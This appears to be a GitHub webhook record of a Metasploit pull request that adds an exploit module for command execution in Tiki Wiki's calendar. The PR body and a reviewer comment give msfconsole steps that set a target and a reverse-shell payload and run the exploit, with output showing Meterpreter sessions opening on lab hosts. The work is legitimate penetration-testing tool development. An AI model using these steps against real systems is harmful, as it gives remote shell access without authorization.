{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6992","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6992/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6992/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6992/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6992","id":161034620,"number":6992,"title":"tiki calendar exec","user":{"login":"h00die","id":752491,"avatar_url":"https://avatars.githubusercontent.com/u/752491?v=3","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":10,"created_at":"2016-06-18T17:24:08Z","updated_at":"2016-06-22T16:02:50Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6992","html_url":"https://github.com/rapid7/metasploit-framework/pull/6992","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6992.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6992.patch"},"body":"Adds a module to exploit tiki-wiki CMS command execution in the calendar module. #6982 \r\n\r\n## Verification\r\n- [x] Install the software as documented in the doc included in PR (I used 14.1, but 14.2 should work as well)\r\n- [x] Start msfconsole\r\n- [x] Do: `use exploit/linux/http/tiki_calendar_exec`\r\n- [x] Do: `set rhost 10.10.10.10`\r\n- [x] Do: `set PASSWORD admin` (optional, if set to '', set username to '' as well) \r\n- [x] Do: `set payload php/bind_perl` (or be fancy pants with php/meterpreter/reverse_tcp)\r\n- [x] Do: `set verbose true`\r\n- [x] Do: `check`\r\n- [x] **Verify** the thing does what it should\r\n```\r\n  [+] 10.10.10.10:80 The target is vulnerable.\r\n```\r\n- [x] Do: `exploit`\r\n- [ ] You should get a shell\r\n- [ ] **Verify** the thing does what it should\r\n```\r\n    [*] Started reverse TCP handler on 192.168.2.229:4444 \r\n    [*] Sending malicious calendar view packet\r\n    [*] Sending stage (33721 bytes) to 192.168.2.190\r\n    [*] Meterpreter session 1 opened (192.168.2.229:4444 -> 192.168.2.190:48172) at 2016-06-18 10:58:19 -0400\r\n```\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/227792014","html_url":"https://github.com/rapid7/metasploit-framework/pull/6992#issuecomment-227792014","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6992","id":227792014,"user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"created_at":"2016-06-22T16:02:49Z","updated_at":"2016-06-22T16:02:49Z","body":"Works for me on 14.1:\r\n\r\n```\r\nmsf exploit(tiki_calendar_exec) > check\r\n\r\n[*] Attempting Login\r\n[+] Login Successful!\r\n[+] 172.16.23.174:80 The target is vulnerable.\r\nmsf exploit(tiki_calendar_exec) > run\r\n\r\n[*] Started reverse TCP handler on 172.16.23.1:4444 \r\n[*] Attempting Login\r\n[+] Login Successful!\r\n[*] Sending malicious calendar view packet\r\n[*] Sending stage (33721 bytes) to 172.16.23.174\r\n[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.174:34189) at 2016-06-22 11:01:58 -0500\r\n```\r\n\r\nI'm gonna redo 14.2, because I'm not sure if I configured the vuln app correctly..."}}
{"actor":{"display_login":"wchen-r7"}}